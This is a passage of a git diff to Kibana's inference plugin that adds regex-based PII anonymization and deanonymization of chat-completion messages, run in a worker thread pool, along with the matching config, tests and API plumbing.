entity: string, - className: string, - normalize: boolean = false -): string { - const textForHash = normalize ? entity.toLowerCase() : entity; - return objectHash({ entity: textForHash, class_name: className }); + +export function getEntityMask(entity: { class_name: string; value: string }) { + const hash = objectHash({ + value: entity.value, + class_name: entity.class_name, + }); + return `${entity.class_name}_${hash}`; } diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/message_from_anonymization_records.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/message_from_anonymization_records.ts new file mode 100644 index 0000000000000..76dff66f39e5a --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/message_from_anonymization_records.ts @@ -0,0 +1,20 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { Message, MessageContent } from '@kbn/inference-common'; +import { AnonymizationRecord } from './types'; + +export function messageFromAnonymizationRecords(map: AnonymizationRecord): Message { + const anonymizableMessage = map; + const { content, contentParts, data } = anonymizableMessage; + + return { + ...(content ? { content } : {}), + ...(contentParts ? { content: JSON.parse(contentParts) as MessageContent[] } : {}), + ...(data ? JSON.parse(data) : {}), + }; +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/message_to_anonymization_records.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/message_to_anonymization_records.ts new file mode 100644 index 0000000000000..24e61442caf63 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/message_to_anonymization_records.ts @@ -0,0 +1,22 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { Message } from '@kbn/inference-common'; +import { isEmpty } from 'lodash'; +import { getAnonymizableMessageParts } from './get_anonymizable_message_parts'; +import { AnonymizationRecord } from './types'; + +export function messageToAnonymizationRecords(message: Message): AnonymizationRecord { + const anonymizableMessage = getAnonymizableMessageParts(message); + const { content, ...rest } = anonymizableMessage; + + return { + ...(content && typeof content === 'string' ? { content } : {}), + ...(content && typeof content !== 'string' ? { contentParts: JSON.stringify(content) } : {}), + ...(!isEmpty(rest) ? { data: JSON.stringify(rest) } : {}), + }; +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_service.test.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_service.test.ts new file mode 100644 index 0000000000000..20f785ef8c4bc --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_service.test.ts @@ -0,0 +1,84 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { AnonymizationRule } from '@kbn/inference-common'; +import { loggerMock, type MockedLogger } from '@kbn/logging-mocks'; +import { RegexWorkerService } from './regex_worker_service'; +import { AnonymizationWorkerConfig } from '../../config'; + +const regexEmailRule: AnonymizationRule = { + type: 'RegExp', + enabled: true, + entityClass: 'EMAIL', + pattern: '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}', +}; +const backTrackingRule: AnonymizationRule = { + type: 'RegExp', + enabled: true, + entityClass: 'TEST', + pattern: '(a+)+$', +}; +const taskPayload = { + records: [{ email: 'jorge21@gmail.com' }], + rule: regexEmailRule, +}; +function createTestConfig( + overrides: Partial = {} +): AnonymizationWorkerConfig { + return { + enabled: true, + minThreads: 1, + maxThreads: 3, + idleTimeout: { asMilliseconds: () => 30000 }, + taskTimeout: { asMilliseconds: () => 15000 }, + ...overrides, + } as AnonymizationWorkerConfig; +} + +describe('RegexWorkerService', () => { + let logger: MockedLogger; + + beforeEach(() => { + jest.resetAllMocks(); + logger = loggerMock.create(); + }); + + it('anonymizes through the worker', async () => { + const regexWorker = new RegexWorkerService(createTestConfig(), logger); + const result = await regexWorker.run(taskPayload); + const worker = (regexWorker as any).worker; + expect(worker).toBeDefined(); + expect(worker.completed).toBe(1); + expect(result.records[0].email).not.toContain('jorge21@gmail.com'); + expect(result.anonymizations.length).toBe(1); + + // worker completed 2 tasks + await regexWorker.run(taskPayload); + expect(worker.completed).toBe(2); + }); + it('times out task if greater than taskTimeout time', async () => { + const regexWorker = new RegexWorkerService( + createTestConfig({ taskTimeout: { asMilliseconds: () => 1 } } as any), + logger + ); + const longA = 'a'.repeat(10_000) + 'b'; + await expect( + regexWorker.run({ + records: [{ content: longA }], + rule: backTrackingRule, + }) + ).rejects.toThrow('Regex anonymization task timed out'); + }); + it('runs task synchronously when worker is disabled', async () => { + const regexWorker = new RegexWorkerService(createTestConfig({ enabled: false }), logger); + const result = await regexWorker.run(taskPayload); + const worker = (regexWorker as any).worker; + expect(worker).toBeUndefined(); + expect(result.records[0].email).not.toContain('jorge21@gmail.com'); + expect(result.anonymizations.length).toBe(1); + }); +}); diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_service.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_service.ts new file mode 100644 index 0000000000000..323a43e711c59 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_service.ts @@ -0,0 +1,86 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import Piscina from 'piscina'; +import type { Logger } from '@kbn/logging'; +import type { AnonymizationRegexWorkerTaskPayload } from '@kbn/inference-common'; +import type { AnonymizationWorkerConfig } from '../../config'; +import { AnonymizationState } from './types'; +import { executeRegexRuleTask } from './execute_regex_rule_task'; + +function runTaskSync(payload: AnonymizationRegexWorkerTaskPayload): AnonymizationState { + return executeRegexRuleTask(payload); +} + +export class RegexWorkerService { + private readonly enabled: boolean; + private worker?: Piscina; + private readonly config: AnonymizationWorkerConfig; + + constructor(config: AnonymizationWorkerConfig, private readonly logger: Logger) { + this.config = config; + this.enabled = config.enabled; + + if (this.enabled) { + this.logger.debug( + `Initializing regex worker pool (min=${this.config.minThreads} | max=${ + this.config.maxThreads + } | idle=${this.config.idleTimeout.asMilliseconds()}ms)` + ); + + this.worker = new Piscina({ + filename: require.resolve('./regex_worker_wrapper.js'), + minThreads: this.config.minThreads, + maxThreads: this.config.maxThreads, + idleTimeout: this.config.idleTimeout.asMilliseconds(), + }); + } + } + + /** + * Execute a task in a worker. Falls back to synchronous execution when the + * worker is disabled + */ + async run(payload: AnonymizationRegexWorkerTaskPayload): Promise { + if (!this.enabled) { + return runTaskSync(payload); + } + if (!this.worker) { + throw new Error('Regex worker pool was not initialized'); + } + + const controller = new AbortController(); + const timer = setTimeout(() => controller.abort(), this.config.taskTimeout.asMilliseconds()); + + try { + return await this.worker.run(payload, { signal: controller.signal }); + } catch (err) { + if (err?.name === 'AbortError') { + if (this.worker.threads.length > 0) { + // Attempt to terminate stuck threads + await Promise.all( + this.worker.threads.map(async (thread) => { + try { + await thread.terminate(); + } catch (e) { + // Ignore termination errors + } + }) + ); + } + throw new Error('Regex anonymization task timed out'); + } + throw err; + } finally { + clearTimeout(timer); + } + } + + async stop(): Promise { + await this.worker?.destroy(); + } +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_task.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_task.ts new file mode 100644 index 0000000000000..ec9a6cca88f14 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_task.ts @@ -0,0 +1,14 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { AnonymizationRegexWorkerTaskPayload } from '@kbn/inference-common'; +import { executeRegexRuleTask } from './execute_regex_rule_task'; + +// eslint-disable-next-line import/no-default-export +export default function ({ rule, records }: AnonymizationRegexWorkerTaskPayload) { + return executeRegexRuleTask({ rule, records }); +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_wrapper.js b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_wrapper.js new file mode 100644 index 0000000000000..845cede94a224 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/regex_worker_wrapper.js @@ -0,0 +1,19 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ +const { REPO_ROOT } = require('@kbn/repo-info'); +const { join } = require('path'); + +/* eslint-disable @kbn/imports/no_boundary_crossing */ +/* eslint-disable import/no-dynamic-require */ + +if (process.env.NODE_ENV !== 'production') { + require(join(REPO_ROOT, 'src', 'setup_node_env')); +} else { + require(join(REPO_ROOT, 'src', 'setup_node_env/dist')); +} + +module.exports = require('./regex_worker_task'); diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/types.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/types.ts new file mode 100644 index 0000000000000..f48879bf71577 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/types.ts @@ -0,0 +1,32 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { Anonymization } from '@kbn/inference-common'; + +/** + * AnonymizationRecord are named strings that will be anonymized + * per key-value pair. This allows us to pass in plain text strings + * like `content` as a single document, instead of JSON.stringifying + * the entire message. + */ +export interface AnonymizationRecord { + // make sure it matches Record + [x: string]: string | undefined; + data?: string; + contentParts?: string; + content?: string; + system?: string; +} + +/** + * AnonymizationState is both the input and the output for executing + * an anonymization rule. + */ +export interface AnonymizationState { + records: Array>; + anonymizations: Anonymization[]; +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/api.test.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/api.test.ts index ef5b475a152a4..cbff6c1f6bb79 100644 --- a/x-pack/platform/plugins/shared/inference/server/chat_complete/api.test.ts +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/api.test.ts @@ -24,6 +24,7 @@ import { chunkEvent, } from '../test_utils'; import { createChatCompleteApi } from './api'; +import { createRegexWorkerServiceMock } from '../test_utils'; describe('createChatCompleteApi', () => { let request: ReturnType; @@ -32,15 +33,27 @@ describe('createChatCompleteApi', () => { let inferenceAdapter: ReturnType; let inferenceConnector: ReturnType; let inferenceExecutor: ReturnType; + let regexWorker: ReturnType; let chatComplete: ChatCompleteAPI; - + const mockEsClient = { + ml: { + inferTrainedModel: jest.fn(), + }, + } as any; beforeEach(() => { request = httpServerMock.createKibanaRequest(); logger = loggerMock.create(); actions = actionsMock.createStart(); - - chatComplete = createChatCompleteApi({ request, actions, logger }); + regexWorker = createRegexWorkerServiceMock(); + chatComplete = createChatCompleteApi({ + request, + actions, + logger, + esClient: mockEsClient, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, + }); inferenceAdapter = createInferenceConnectorAdapterMock(); inferenceAdapter.chatComplete.mockReturnValue(of(chunkEvent('chunk-1'))); diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/api.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/api.ts index 985b0ebe9031f..d77eb3f3faef1 100644 --- a/x-pack/platform/plugins/shared/inference/server/chat_complete/api.ts +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/api.ts @@ -10,8 +10,22 @@ import { createChatCompleteCallbackApi } from './callback_api'; import { CreateChatCompleteApiOptions } from './types'; export function createChatCompleteApi(options: CreateChatCompleteApiOptions): ChatCompleteAPI; -export function createChatCompleteApi({ request, actions, logger }: CreateChatCompleteApiOptions) { - const callbackApi = createChatCompleteCallbackApi({ request, actions, logger }); +export function createChatCompleteApi({ + request, + actions, + logger, + anonymizationRulesPromise, + regexWorker, + esClient, +}: CreateChatCompleteApiOptions) { + const callbackApi = createChatCompleteCallbackApi({ + request, + actions, + logger, + anonymizationRulesPromise, + regexWorker, + esClient, + }); return (options: ChatCompleteOptions) => { const { connectorId, stream, abortSignal, retryConfiguration, maxRetries, ...rest } = options; diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/callback_api.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/callback_api.ts index a83a45d95b76f..dad692298f358 100644 --- a/x-pack/platform/plugins/shared/inference/server/chat_complete/callback_api.ts +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/callback_api.ts @@ -14,10 +14,12 @@ import { getConnectorProvider, type ChatCompleteCompositeResponse, MessageRole, + AnonymizationRule, } from '@kbn/inference-common'; import type { Logger } from '@kbn/logging'; -import { defer, from, identity, share, switchMap, throwError } from 'rxjs'; +import { defer, forkJoin, from, identity, share, switchMap, throwError } from 'rxjs'; import { withChatCompleteSpan } from '@kbn/inference-tracing'; +import { ElasticsearchClient } from '@kbn/core/server'; import { omit } from 'lodash'; import { getInferenceAdapter } from './adapters'; import { @@ -29,11 +31,18 @@ import { } from './utils'; import { retryWithExponentialBackoff } from '../../common/utils/retry_with_exponential_backoff'; import { getRetryFilter } from '../../common/utils/error_retry_filter'; +import { anonymizeMessages } from './anonymization/anonymize_messages'; +import { deanonymizeMessage } from './anonymization/deanonymize_message'; +import { addAnonymizationInstruction } from './anonymization/add_anonymization_instruction'; +import { RegexWorkerService } from './anonymization/regex_worker_service'; interface CreateChatCompleteApiOptions { request: KibanaRequest; actions: ActionsPluginStart; logger: Logger; + anonymizationRulesPromise: Promise; + regexWorker: RegexWorkerService; + esClient: ElasticsearchClient; } type CreateChatCompleteApiOptionsKey = @@ -65,6 +74,9 @@ export function createChatCompleteCallbackApi({ request, actions, logger, + anonymizationRulesPromise, + regexWorker, + esClient, }: CreateChatCompleteApiOptions) { return ( { @@ -76,9 +88,14 @@ export function createChatCompleteCallbackApi({ }: ChatCompleteApiWithCallbackInitOptions, callback: ChatCompleteApiWithCallbackCallback ) => { - const inference$ = defer(() => from(getInferenceExecutor({ connectorId, request, actions }))) + const inference$ = defer(() => + forkJoin({ + executor: from(getInferenceExecutor({ connectorId, request, actions })), + anonymizationRules: from(anonymizationRulesPromise), + }) + ) .pipe( - switchMap((executor) => { + switchMap(({ executor, anonymizationRules }) => { const { system, messages: givenMessages, @@ -102,50 +119,68 @@ export function createChatCompleteCallbackApi({ return message; }); - const connector = executor.getConnector(); - const connectorType = connector.type; - const inferenceAdapter = getInferenceAdapter(connectorType); - - if (!inferenceAdapter) { - return throwError(() => - createInferenceRequestError(`Adapter for type ${connectorType} not implemented`, 400) - ); - } - - return withChatCompleteSpan( - { + return from( + anonymizeMessages({ system, messages, - tools, - toolChoice, - model: { - family: getConnectorFamily(connector), - provider: getConnectorProvider(connector), - }, - ...metadata?.attributes, - }, - () => { - return inferenceAdapter - .chatComplete({ - system, - executor, - messages, - toolChoice, - tools, - temperature, - logger, - functionCalling, - modelName, - abortSignal, - metadata, - }) - .pipe( - chunksIntoMessage({ - toolOptions: { toolChoice, tools }, - logger, - }) + anonymizationRules, + regexWorker, + esClient, + }) + ).pipe( + switchMap((anonymization) => { + const connector = executor.getConnector(); + const connectorType = connector.type; + const inferenceAdapter = getInferenceAdapter(connectorType); + + if (!inferenceAdapter) { + return throwError(() => + createInferenceRequestError( + `Adapter for type ${connectorType} not implemented`, + 400 + ) ); - } + } + const systemWithAnonymizationInstructions = anonymization.system + ? addAnonymizationInstruction(anonymization.system, anonymizationRules) + : system; + + return withChatCompleteSpan( + { + system: systemWithAnonymizationInstructions, + messages: anonymization.messages, + tools, + toolChoice, + model: { + family: getConnectorFamily(connector), + provider: getConnectorProvider(connector), + }, + ...metadata?.attributes, + }, + () => { + return inferenceAdapter + .chatComplete({ + system: systemWithAnonymizationInstructions, + executor, + messages: anonymization.messages, + toolChoice, + tools, + temperature, + logger, + functionCalling, + modelName, + abortSignal, + metadata, + }) + .pipe( + chunksIntoMessage({ + toolOptions: { toolChoice, tools }, + logger, + }) + ); + } + ).pipe(deanonymizeMessage(anonymization)); + }) ); }) ) diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/types.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/types.ts index db980b4e3ab47..655aa2124f210 100644 --- a/x-pack/platform/plugins/shared/inference/server/chat_complete/types.ts +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/types.ts @@ -14,10 +14,13 @@ import type { Message, ToolOptions, ChatCompleteMetadata, + AnonymizationRule, } from '@kbn/inference-common'; import { KibanaRequest } from '@kbn/core/server'; import { PluginStartContract as ActionsPluginsStart } from '@kbn/actions-plugin/server'; +import { ElasticsearchClient } from '@kbn/core/server'; import type { InferenceExecutor } from './utils'; +import { RegexWorkerService } from './anonymization/regex_worker_service'; /** * Adapter in charge of communicating with a specific inference connector @@ -65,4 +68,7 @@ export interface CreateChatCompleteApiOptions { request: KibanaRequest; actions: ActionsPluginsStart; logger: Logger; + anonymizationRulesPromise: Promise; + regexWorker: RegexWorkerService; + esClient: ElasticsearchClient; } diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/chunks_into_message.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/chunks_into_message.ts index 3aa5f7815e019..41c6e60bef31a 100644 --- a/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/chunks_into_message.ts +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/chunks_into_message.ts @@ -13,8 +13,10 @@ import { ToolOptions, withoutTokenCountEvents, } from '@kbn/inference-common'; +import { trace } from '@opentelemetry/api'; import type { Logger } from '@kbn/logging'; import { OperatorFunction, map, merge, share, toArray } from 'rxjs'; +import { setChoice } from '@kbn/inference-tracing/src/with_chat_complete_span'; import { validateToolCalls } from '../../util/validate_tool_calls'; import { mergeChunks } from './merge_chunks'; @@ -43,14 +45,17 @@ export function chunksIntoMessage({ logger.debug(() => `Received completed message: ${JSON.stringify(concatenatedChunk)}`); - const validatedToolCalls = validateToolCalls({ - ...toolOptions, - toolCalls: concatenatedChunk.tool_calls, - }); + const { content, tool_calls: toolCalls } = concatenatedChunk; + const activeSpan = trace.getActiveSpan(); + if (activeSpan) { + setChoice(activeSpan, { content, toolCalls }); + } + + const validatedToolCalls = validateToolCalls({ ...toolOptions, toolCalls }); return { type: ChatCompletionEventType.ChatCompletionMessage, - content: concatenatedChunk.content, + content, toolCalls: validatedToolCalls, }; }) diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/stream_to_response.test.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/stream_to_response.test.ts index 939997a5fef15..f0c56fb0ca4e0 100644 --- a/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/stream_to_response.test.ts +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/stream_to_response.test.ts @@ -6,7 +6,11 @@ */ import { of } from 'rxjs'; -import { ChatCompletionEvent } from '@kbn/inference-common'; +import { + ChatCompletionEvent, + ChatCompletionMessageEvent, + MessageRole, +} from '@kbn/inference-common'; import { chunkEvent, tokensEvent, messageEvent } from '../../test_utils/chat_complete_events'; import { streamToResponse } from './stream_to_response'; @@ -70,4 +74,59 @@ describe('streamToResponse', () => { streamToResponse(fromEvents(chunkEvent('chunk_1'), tokensEvent())) ).rejects.toThrowErrorMatchingInlineSnapshot(`"No message event found"`); }); + + it('includes deanonymization data in the response if present', async () => { + // Create a message event with deanonymization data + const messageWithDeanonymization: ChatCompletionMessageEvent = { + ...messageEvent('Your email is jorge@gmail.com'), + deanonymized_input: [ + { + message: { + role: MessageRole.User, + content: 'My email is jorge@gmail.com. What is my email?', + }, + deanonymizations: [ + { + start: 12, + end: 27, + entity: { + value: 'jorge@gmail.com', + class_name: 'EMAIL', + mask: 'EMAIL_6de8d9fba5c5e60ac39395fba7ebce7c2cabd915', + }, + }, + ], + }, + ], + deanonymized_output: { + message: { + content: 'Your email is jorge@gmail.com', + toolCalls: [], + role: MessageRole.Assistant, + }, + deanonymizations: [ + { + start: 14, + end: 29, + entity: { + value: 'jorge@gmail.com', + class_name: 'EMAIL', + mask: 'EMAIL_6de8d9fba5c5e60ac39395fba7ebce7c2cabd915', + }, + }, + ], + }, + }; + + const response = await streamToResponse( + fromEvents(chunkEvent('chunk'), messageWithDeanonymization) + ); + + expect(response).toEqual({ + content: 'Your email is jorge@gmail.com', + toolCalls: [], + deanonymized_input: messageWithDeanonymization.deanonymized_input, + deanonymized_output: messageWithDeanonymization.deanonymized_output, + }); + }); }); diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/stream_to_response.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/stream_to_response.ts index 4bae4fda767cb..b831a5da6b304 100644 --- a/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/stream_to_response.ts +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/utils/stream_to_response.ts @@ -35,6 +35,8 @@ export const streamToResponse = content: messageEvent.content, toolCalls: messageEvent.toolCalls, tokens: tokenEvent?.tokens, + deanonymized_input: messageEvent.deanonymized_input, + deanonymized_output: messageEvent.deanonymized_output, }; }) ) diff --git a/x-pack/platform/plugins/shared/inference/server/config.ts b/x-pack/platform/plugins/shared/inference/server/config.ts index e2fa7dc12f96d..b179a0ce06b93 100644 --- a/x-pack/platform/plugins/shared/inference/server/config.ts +++ b/x-pack/platform/plugins/shared/inference/server/config.ts @@ -7,40 +7,19 @@ import { schema, type TypeOf } from '@kbn/config-schema'; -const scheduledDelay = schema.conditional( - schema.contextRef('dev'), - true, - schema.number({ defaultValue: 1000 }), - schema.number({ defaultValue: 5000 }) -); - export const configSchema = schema.object({ enabled: schema.boolean({ defaultValue: true }), - tracing: schema.maybe( - schema.object({ - exporter: schema.maybe( - schema.oneOf([ - schema.object({ - langfuse: schema.object({ - base_url: schema.uri(), - public_key: schema.string(), - secret_key: schema.string(), - scheduled_delay: scheduledDelay, - }), - }), - schema.object({ - phoenix: schema.object({ - base_url: schema.string(), - public_url: schema.maybe(schema.uri()), - project_name: schema.maybe(schema.string()), - api_key: schema.maybe(schema.string()), - scheduled_delay: scheduledDelay, - }), - }), - ]) - ), - }) - ), + workers: schema.object({ + anonymization: schema.object({ + enabled: schema.boolean({ defaultValue: true }), + minThreads: schema.number({ defaultValue: 0, min: 0 }), + maxThreads: schema.number({ defaultValue: 3, min: 1 }), + idleTimeout: schema.duration({ defaultValue: '30s' }), + taskTimeout: schema.duration({ defaultValue: '15s' }), + }), + }), }); export type InferenceConfig = TypeOf; + +export type AnonymizationWorkerConfig = InferenceConfig['workers']['anonymization']; diff --git a/x-pack/platform/plugins/shared/inference/server/inference_client/create_chat_model.test.ts b/x-pack/platform/plugins/shared/inference/server/inference_client/create_chat_model.test.ts index de49e8de8145b..4e582ced48efc 100644 --- a/x-pack/platform/plugins/shared/inference/server/inference_client/create_chat_model.test.ts +++ b/x-pack/platform/plugins/shared/inference/server/inference_client/create_chat_model.test.ts @@ -20,6 +20,7 @@ const getConnectorByIdMock = getConnectorById as unknown as jest.MockedFn; @@ -28,11 +29,18 @@ describe('createChatModel', () => { let logger: MockedLogger; let actions: ReturnType; let request: ReturnType; + let regexWorker: ReturnType; + const mockEsClient = { + ml: { + inferTrainedModel: jest.fn(), + }, + } as any; beforeEach(() => { logger = loggerMock.create(); actions = actionsMock.createStart(); request = httpServerMock.createKibanaRequest(); + regexWorker = createRegexWorkerServiceMock(); createClientMock.mockReturnValue({ chatComplete: jest.fn(), @@ -54,6 +62,9 @@ describe('createChatModel', () => { chatModelOptions: { temperature: 0.3, }, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, + esClient: mockEsClient, }); expect(createClientMock).toHaveBeenCalledTimes(1); @@ -61,6 +72,9 @@ describe('createChatModel', () => { actions, request, logger, + esClient: mockEsClient, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, }); }); @@ -76,6 +90,9 @@ describe('createChatModel', () => { chatModelOptions: { temperature: 0.3, }, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, + esClient: mockEsClient, }); expect(getConnectorById).toHaveBeenCalledTimes(1); @@ -102,6 +119,9 @@ describe('createChatModel', () => { chatModelOptions: { temperature: 0.3, }, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, + esClient: mockEsClient, }); expect(InferenceChatModelMock).toHaveBeenCalledTimes(1); diff --git a/x-pack/platform/plugins/shared/inference/server/inference_client/create_chat_model.ts b/x-pack/platform/plugins/shared/inference/server/inference_client/create_chat_model.ts index bac7672b9ae83..b5d69a9b7783b 100644 --- a/x-pack/platform/plugins/shared/inference/server/inference_client/create_chat_model.ts +++ b/x-pack/platform/plugins/shared/inference/server/inference_client/create_chat_model.ts @@ -9,8 +9,11 @@ import type { Logger } from '@kbn/logging'; import type { KibanaRequest } from '@kbn/core-http-server'; import type { PluginStartContract as ActionsPluginStart } from '@kbn/actions-plugin/server'; import { InferenceChatModel, type InferenceChatModelParams } from '@kbn/inference-langchain'; +import { ElasticsearchClient } from '@kbn/core/server'; +import { AnonymizationRule } from '@kbn/inference-common'; import { getConnectorById } from '../util/get_connector_by_id'; import { createClient } from './create_client'; +import { RegexWorkerService } from '../chat_complete/anonymization/regex_worker_service'; export interface CreateChatModelOptions { request: KibanaRequest; @@ -18,6 +21,9 @@ export interface CreateChatModelOptions { actions: ActionsPluginStart; logger: Logger; chatModelOptions: Omit; + anonymizationRulesPromise: Promise; + regexWorker: RegexWorkerService; + esClient: ElasticsearchClient; } export const createChatModel = async ({ @@ -26,10 +32,16 @@ export const createChatModel = async ({ actions, logger, chatModelOptions, + anonymizationRulesPromise, + regexWorker, + esClient, }: CreateChatModelOptions): Promise => { const client = createClient({ actions, request, + anonymizationRulesPromise, + regexWorker, + esClient, logger, }); const actionsClient = await actions.getActionsClientWithRequest(request); diff --git a/x-pack/platform/plugins/shared/inference/server/inference_client/create_client.test.ts b/x-pack/platform/plugins/shared/inference/server/inference_client/create_client.test.ts index be02ee8a8379b..911934163c8d3 100644 --- a/x-pack/platform/plugins/shared/inference/server/inference_client/create_client.test.ts +++ b/x-pack/platform/plugins/shared/inference/server/inference_client/create_client.test.ts @@ -14,21 +14,28 @@ jest.mock('./inference_client'); jest.mock('../../common/inference_client/bind_client'); import { createInferenceClient } from './inference_client'; import { bindClient } from '../../common/inference_client/bind_client'; +import { createRegexWorkerServiceMock } from '../test_utils'; const bindClientMock = bindClient as jest.MockedFn; const createInferenceClientMock = createInferenceClient as jest.MockedFn< typeof createInferenceClient >; - +const mockEsClient = { + ml: { + inferTrainedModel: jest.fn(), + }, +} as any; describe('createClient', () => { let logger: MockedLogger; let actions: ReturnType; let request: ReturnType; + let regexWorker: ReturnType; beforeEach(() => { logger = loggerMock.create(); actions = actionsMock.createStart(); request = httpServerMock.createKibanaRequest(); + regexWorker = createRegexWorkerServiceMock(); }); afterEach(() => { @@ -45,6 +52,9 @@ describe('createClient', () => { request, actions, logger, + esClient: mockEsClient, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, }); expect(createInferenceClientMock).toHaveBeenCalledTimes(1); @@ -52,6 +62,9 @@ describe('createClient', () => { request, actions, logger: logger.get('client'), + esClient: mockEsClient, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, }); expect(bindClientMock).not.toHaveBeenCalled(); @@ -68,6 +81,9 @@ describe('createClient', () => { request, actions, logger, + esClient: mockEsClient, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, }); // type check on client.chatComplete @@ -93,6 +109,9 @@ describe('createClient', () => { bindTo: { connectorId: '.my-connector', }, + esClient: mockEsClient, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, }); expect(createInferenceClientMock).toHaveBeenCalledTimes(1); @@ -100,6 +119,9 @@ describe('createClient', () => { request, actions, logger: logger.get('client'), + esClient: mockEsClient, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, }); expect(bindClientMock).toHaveBeenCalledTimes(1); @@ -122,6 +144,9 @@ describe('createClient', () => { bindTo: { connectorId: '.foo', }, + esClient: mockEsClient, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, }); // type check on client.chatComplete diff --git a/x-pack/platform/plugins/shared/inference/server/inference_client/create_client.ts b/x-pack/platform/plugins/shared/inference/server/inference_client/create_client.ts index 0dbee7253d0d2..24eba0a57b177 100644 --- a/x-pack/platform/plugins/shared/inference/server/inference_client/create_client.ts +++ b/x-pack/platform/plugins/shared/inference/server/inference_client/create_client.ts @@ -9,13 +9,19 @@ import type { Logger } from '@kbn/logging'; import type { KibanaRequest } from '@kbn/core-http-server'; import type { PluginStartContract as ActionsPluginStart } from '@kbn/actions-plugin/server'; import type { BoundOptions, BoundInferenceClient, InferenceClient } from '@kbn/inference-common'; +import { AnonymizationRule } from '@kbn/inference-common'; +import { ElasticsearchClient } from '@kbn/core/server'; import { createInferenceClient } from './inference_client'; import { bindClient } from '../../common/inference_client/bind_client'; +import { RegexWorkerService } from '../chat_complete/anonymization/regex_worker_service'; interface CreateClientOptions { request: KibanaRequest; actions: ActionsPluginStart; logger: Logger; + anonymizationRulesPromise: Promise; + regexWorker: RegexWorkerService; + esClient: ElasticsearchClient; } interface BoundCreateClientOptions extends CreateClientOptions { @@ -27,8 +33,15 @@ export function createClient(options: 